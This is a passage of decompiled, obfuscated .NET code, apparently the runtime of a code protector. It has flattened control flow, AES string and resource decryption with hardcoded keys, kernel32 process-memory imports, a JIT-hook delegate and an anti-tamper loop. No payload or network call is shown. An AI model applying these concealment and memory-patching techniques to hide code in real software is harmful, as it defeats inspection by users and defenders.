label_285; case 308: numArray2[9] = (byte) num6; num1 = 174; continue; case 309: numArray2[25] = (byte) (151 + 85); num5 = 153; goto label_285; case 310: numArray1[0] = (byte) num7; num8 = 21; break; case 311: numArray1[11] = (byte) num7; num5 = 76; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 301; case 312: num4 = 249 - 83; num8 = 350; break; case 313: num4 = 25 + 124; num1 = 184; continue; case 314: numArray1[12] = (byte) (34 + 106); num5 = 131; if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto case 47; else goto label_285; case 315: num4 = 113 + 88; num5 = 5; goto label_285; case 316: ipbpJ7ihfEneDowwMq.LT6B8GTWy = (byte[]) ipbpJ7ihfEneDowwMq.FvKcNpRcJ65EZLKmVC((object) memoryStream); num8 = 103; break; case 317: num3 = 197 - 108; num8 = 241; break; case 318: num7 = 193 - 119; num1 = 122; continue; case 319: ipbpJ7ihfEneDowwMq.ddmJHFyq7nfYQi3JWS(true); num8 = 349; break; case 320: numArray2[29] = (byte) num6; num5 = 337; goto label_285; case 321: numArray2[26] = (byte) num6; num5 = 270; goto label_285; case 322: numArray2[10] = (byte) (61 + 107); num8 = 4; break; case 324: num6 = 228 - 76; num8 = 57; break; case 325: numArray2[18] = (byte) (72 + 18); num5 = 242; goto label_285; case 326: num4 = 244 - 81; num1 = 41; continue; case 327: numArray1[15] = (byte) num7; num5 = 274; if (true) goto label_285; else goto case 214; case 328: numArray1[5] = (byte) num7; num8 = 351; break; case 329: numArray2[21] = (byte) (154 - 51); num5 = 330; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 292; case 330: num6 = 129 + 26; num5 = 58; goto label_285; case 331: numArray2[24] = (byte) (150 - 50); num1 = 214; continue; case 332: numArray1[4] = (byte) (57 - 18); num8 = 154; break; case 333: numArray2[25] = (byte) num4; num5 = 309; if (true) goto label_285; else goto case 13; case 334: num3 = 176 - 58; num5 = 292; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 277; case 335: numArray1[10] = (byte) (155 - 51); num5 = 356; if (true) goto label_285; else goto case 124; case 336: numArray2[17] = (byte) num4; num5 = 106; if (true) goto label_285; else goto case 283; case 337: num4 = 152 - 101; num8 = 282; break; case 338: numArray1[10] = (byte) num3; num5 = 99; if (true) goto label_285; else goto case 262; case 339: numArray2[21] = (byte) num6; num5 = 64; goto label_285; case 340: numArray2[28] = (byte) (86 + 106); num8 = 123; break; case 341: num4 = 16 + 85; num5 = 6; if (true) goto label_285; else goto case 210; case 342: numArray2[28] = (byte) (248 - 82); num5 = 161; if (true) goto label_285; else goto case 161; case 343: num7 = 189 + 57; num8 = 249; break; case 344: numArray1[4] = (byte) (236 - 78); num8 = 237; break; case 345: numArray2[30] = (byte) (97 + 97); num5 = 245; if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi()) goto label_285; else goto case 156; case 346: numArray1[5] = (byte) (100 + 24); num5 = 284; goto label_285; case 347: numArray2[10] = (byte) num6; num5 = 326; if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto case 10; else goto label_285; case 348: cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write); num5 = 195; if (true) goto label_285; else goto case 109; case 349: numArray6 = (byte[]) ipbpJ7ihfEneDowwMq.iRCSDHt74AeHFZITAR((object) binaryReader, (int) ipbpJ7ihfEneDowwMq.j2VMnHAH1UoTkKPvt7(ipbpJ7ihfEneDowwMq.LlojKQVnfNSQ01Je0j((object) binaryReader))); num5 = 209; if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT()) goto label_285; else goto case 238; case 350: numArray2[10] = (byte) num4; num8 = 160; break; case 351: numArray1[6] = (byte) (226 - 75); num1 = 186; continue; case 352: num7 = 39 + 87; num1 = 311; continue; case 353: numArray2[4] = (byte) (45 + 12); num1 = 162; continue; case 354: num6 = 17 + 86; num5 = 321; goto label_285; case 355: num4 = 221 - 73; num1 = 260; continue; case 356: num7 = 63 + 83; num5 = 259; if (true) goto label_285; else goto case 261; case 357: goto label_361; default: num8 = 269; break; } num5 = num8; label_285: num1 = num5; } label_361: try { return (string) ipbpJ7ihfEneDowwMq.j0g7ZrOlP6YMtSaevP(ipbpJ7ihfEneDowwMq.fC3s0i4K5YeQ3tSWgB(), (object) ipbpJ7ihfEneDowwMq.LT6B8GTWy, obj0 + 4, num2); } catch { } return ""; } [ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo[]))] [MethodImpl(MethodImplOptions.NoInlining)] internal static string t7NcJDnVj([In] string obj0) { "{11111-22222-50001-00000}".Trim(); byte[] bytes = Convert.FromBase64String(obj0); return Encoding.Unicode.GetString(bytes, 0, bytes.Length); } [DllImport("kernel32.dll", EntryPoint = "RtlZeroMemory")] private static extern void Wkvo4iblj([In] IntPtr obj0, [In] uint obj1); [DllImport("kernel32.dll", EntryPoint = "VirtualProtect", SetLastError = true)] private static extern int pSkwnUMC6([In] ref IntPtr obj0, [In] int obj1, [In] int obj2, [In] ref int obj3); [DllImport("kernel32.dll", EntryPoint = "FindResource")] public static extern IntPtr uRi48v6hX([In] IntPtr obj0, [In] string obj1, [In] uint obj2); [MethodImpl(MethodImplOptions.NoInlining)] private static void hLvbh8FU4() { } [MethodImpl(MethodImplOptions.NoInlining)] private static void kGhsL2OX8() { try { RSACryptoServiceProvider.UseMachineKeyStore = true; } catch { } } [MethodImpl(MethodImplOptions.NoInlining)] internal static object NEVIox1lw([In] object obj0) { try { if (File.Exists(((Assembly) obj0).Location)) return (object) ((Assembly) obj0).Location; } catch { } try { if (File.Exists(((Assembly) obj0).GetName().CodeBase.ToString().Replace("file:///", ""))) return (object) ((Assembly) obj0).GetName().CodeBase.ToString().Replace("file:///", ""); } catch { } try { if (File.Exists(obj0.GetType().GetProperty("Location").GetValue(obj0, new object[0]).ToString())) return (object) obj0.GetType().GetProperty("Location").GetValue(obj0, new object[0]).ToString(); } catch { } return (object) ""; } [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr zxxLem0cb([In] string obj0); [DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)] public static extern IntPtr ISpfOdUvM([In] IntPtr obj0, [In] string obj1); [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")] private static extern int YIhNbmgB5( [In] IntPtr obj0, [In] IntPtr obj1, [In, Out] byte[] _param2, [In] uint obj3, out IntPtr _param4); [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")] private static extern int AQC2cEYcO( [In] IntPtr obj0, [In] IntPtr obj1, [In, Out] byte[] _param2, [In] uint obj3, out IntPtr _param4); [DllImport("kernel32.dll", EntryPoint = "VirtualProtect")] private static extern int Bp6uEib9a([In] IntPtr obj0, [In] int obj1, [In] int obj2, [In] ref int obj3); [DllImport("kernel32.dll", EntryPoint = "OpenProcess")] private static extern IntPtr GW0FcYqKn([In] uint obj0, [In] int obj1, [In] uint obj2); [DllImport("kernel32.dll", EntryPoint = "CloseHandle")] private static extern int ipYyd3jGX([In] IntPtr obj0); [ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo[]))] [MethodImpl(MethodImplOptions.NoInlining)] private static byte[] VHjEZZLfD([In] string obj0) { byte[] buffer; using (FileStream fileStream = new FileStream(obj0, FileMode.Open, FileAccess.Read, FileShare.Read)) { int offset = 0; int length = (int) fileStream.Length; buffer = new byte[length]; int num; for (; length > 0; length -= num) { num = fileStream.Read(buffer, offset, length); offset += num; } } return buffer; } [ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo[]))] [MethodImpl(MethodImplOptions.NoInlining)] private static byte[] BSonNeHRr([In] byte[] obj0) { MemoryStream memoryStream = new MemoryStream(); Rijndael rijndael = Rijndael.Create(); rijndael.Key = new byte[32] { (byte) 89, (byte) 1, (byte) 179, (byte) 88, (byte) 204, (byte) 62, (byte) 43, (byte) 1, (byte) 63, (byte) 183, (byte) 50, (byte) 185, (byte) 21, (byte) 60, (byte) 106, (byte) 95, (byte) 250, (byte) 166, (byte) 195, (byte) 229, (byte) 231, (byte) 122, (byte) 80, (byte) 105, (byte) 11, (byte) 4, (byte) 16, (byte) 196, (byte) 225, (byte) 155, (byte) 28, (byte) 6 }; rijndael.IV = new byte[16] { (byte) 63, (byte) 93, (byte) 15, (byte) 132, (byte) 209, (byte) 229, (byte) 94, (byte) 68, (byte) 41, (byte) 4, (byte) 73, (byte) 186, (byte) 213, (byte) 99, (byte) 144, (byte) 124 }; CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write); cryptoStream.Write(obj0, 0, obj0.Length); cryptoStream.Close(); return memoryStream.ToArray(); } [MethodImpl(MethodImplOptions.NoInlining)] private byte[] FZkt7J463() => (byte[]) null; [MethodImpl(MethodImplOptions.NoInlining)] private byte[] OEOYQ6TiD() => (byte[]) null; [MethodImpl(MethodImplOptions.NoInlining)] private byte[] RguZoX5oX() => "{11111-22222-20001-00001}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] private byte[] cq81nHjV1() => "{11111-22222-20001-00002}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] private byte[] Dw9XJEcEj() => "{11111-22222-30001-00001}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] private byte[] N2wDENi7q() => "{11111-22222-30001-00002}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] Jgp6XnAIY() => "{11111-22222-40001-00001}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] QA7ap6b72() => "{11111-22222-40001-00002}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] cX0Gy1j3W() => "{11111-22222-50001-00001}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] internal byte[] nKxO7X9Av() => "{11111-22222-50001-00002}".Length > 0 ? new byte[2] { (byte) 1, (byte) 2 } : new byte[2]{ (byte) 1, (byte) 2 }; [MethodImpl(MethodImplOptions.NoInlining)] public ipbpJ7ihfEneDowwMq() { } [MethodImpl(MethodImplOptions.NoInlining)] internal static Type gRaxCfNbl5AQe5DMfO([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0); [MethodImpl(MethodImplOptions.NoInlining)] internal static object goAOYvZXL8wyukgyhQ([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object LlojKQVnfNSQ01Je0j([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream; [MethodImpl(MethodImplOptions.NoInlining)] internal static void SKWIx9qaW1C58pM1Pu([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static void ddmJHFyq7nfYQi3JWS([In] bool obj0) => RSACryptoServiceProvider.UseMachineKeyStore = obj0; [MethodImpl(MethodImplOptions.NoInlining)] internal static long j2VMnHAH1UoTkKPvt7([In] object obj0) => ((Stream) obj0).Length; [MethodImpl(MethodImplOptions.NoInlining)] internal static object iRCSDHt74AeHFZITAR([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object EPNYDWvF335ihAr7rN([In] object obj0) => (object) ((Assembly) obj0).GetName(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object HR5XCyB17Hq3My9rlK([In] object obj0) => (object) ((AssemblyName) obj0).GetPublicKeyToken(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void GognAflfqlgqlBeRPd([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1; [MethodImpl(MethodImplOptions.NoInlining)] internal static object CEmlJVCjpTH21l1ajg([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2); [MethodImpl(MethodImplOptions.NoInlining)] internal static void XrJs8qbf0HSo6NC9rB([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3); [MethodImpl(MethodImplOptions.NoInlining)] internal static void kT2w7oSkjFmtlwVDfA([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock(); [MethodImpl(MethodImplOptions.NoInlining)] internal static object FvKcNpRcJ65EZLKmVC([In] object obj0) => (object) ((MemoryStream) obj0).ToArray(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void TCk8nx5K0V5hBA635R([In] object obj0) => ((Stream) obj0).Close(); [MethodImpl(MethodImplOptions.NoInlining)] internal static void rTOc8Bh2n9u5XmTdKI([In] object obj0) => ((BinaryReader) obj0).Close(); [MethodImpl(MethodImplOptions.NoInlining)] internal static int UqCD6r9d9Kmjenv2O1([In] object obj0, [In] int obj1) => BitConverter.ToInt32((byte[]) obj0, obj1); [MethodImpl(MethodImplOptions.NoInlining)] internal static object fC3s0i4K5YeQ3tSWgB() => (object) Encoding.Unicode; [MethodImpl(MethodImplOptions.NoInlining)] internal static object j0g7ZrOlP6YMtSaevP([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => (object) ((Encoding) obj0).GetString((byte[]) obj1, obj2, obj3); [MethodImpl(MethodImplOptions.NoInlining)] internal static bool aCAHLdrJZCrPs9IteT() => true; [MethodImpl(MethodImplOptions.NoInlining)] internal static bool uj96LEfUUtmyfr1Cqi() => false; internal class JwYEnSc81hR3TvfVIJ : Attribute { [ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo[]))] [MethodImpl(MethodImplOptions.NoInlining)] public JwYEnSc81hR3TvfVIJ([In] object obj0) { r6O22AEB3hooSSmKYs.eqJZdUAzZVtL9(); // ISSUE: explicit constructor call base.\u002Ector(); } internal class icKkQjnI65gbY41SDo { [MethodImpl(MethodImplOptions.NoInlining)] public icKkQjnI65gbY41SDo() { r6O22AEB3hooSSmKYs.eqJZdUAzZVtL9(); // ISSUE: explicit constructor call base.\u002Ector(); } } } internal class DRArki0VyJ4LHdfuGy { [ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo[]))] [MethodImpl(MethodImplOptions.NoInlining)] internal static void ce4DmfsmSrOT856tDgfrkMb() { if (!(ipbpJ7ihfEneDowwMq.DRArki0VyJ4LHdfuGy.UifHKQbMXl(Convert.ToBase64String(typeof (ipbpJ7ihfEneDowwMq).Assembly.GetName().GetPublicKeyToken()), ipbpJ7ihfEneDowwMq.YHW3lrBiD(672)) != ipbpJ7ihfEneDowwMq.YHW3lrBiD(678))) return; while (true) ipbpJ7ihfEneDowwMq.DRArki0VyJ4LHdfuGy.ce4DmfsmSrOT856tDgfrkMb(); } [ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo[]))] [MethodImpl(MethodImplOptions.NoInlining)] internal static string UifHKQbMXl([In] string obj0, [In] string obj1) { byte[] bytes = Encoding.Unicode.GetBytes(obj0); byte[] numArray = new byte[32] { (byte) 82, (byte) 102, (byte) 104, (byte) 110, (byte) 32, (byte) 77, (byte) 24, (byte) 34, (byte) 118, (byte) 181, (byte) 51, (byte) 17, (byte) 18, (byte) 51, (byte) 12, (byte) 109, (byte) 10, (byte) 32, (byte) 77, (byte) 24, (byte) 34, (byte) 158, (byte) 161, (byte) 41, (byte) 97, (byte) 28, (byte) 118, (byte) 181, (byte) 5, (byte) 25, (byte) 1, (byte) 88 }; byte[] hash = new MD5CryptoServiceProvider().ComputeHash(Encoding.Unicode.GetBytes(obj1)); MemoryStream memoryStream = new MemoryStream(); Rijndael rijndael = Rijndael.Create(); rijndael.Key = numArray; rijndael.IV = hash; CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateEncryptor(), CryptoStreamMode.Write); cryptoStream.Write(bytes, 0, bytes.Length); cryptoStream.Close(); return Convert.ToBase64String(memoryStream.ToArray()); } [MethodImpl(MethodImplOptions.NoInlining)] public DRArki0VyJ4LHdfuGy() { r6O22AEB3hooSSmKYs.eqJZdUAzZVtL9(); // ISSUE: explicit constructor call base.\u002Ector(); } } [UnmanagedFunctionPointer(CallingConvention.StdCall)] internal delegate uint CufCTcNaeJCMHYwqJb( [MarshalAs(UnmanagedType.U8)] ref ulong classthis, IntPtr comp, IntPtr info, [MarshalAs(UnmanagedType.U4)] uint flags, ref IntPtr nativeEntry, ref uint nativeSizeOfCode); [UnmanagedFunctionPointer(CallingConvention.StdCall)] private delegate IntPtr trkH9ohKFA2nBTDEyA(); internal struct APegFXvPLYMl32mF89 { internal bool KBjHqJxZfW; internal byte[] TEsHpwcAiF; } [Flags] private enum FjTBkj80mVAKy8fNGK { } } }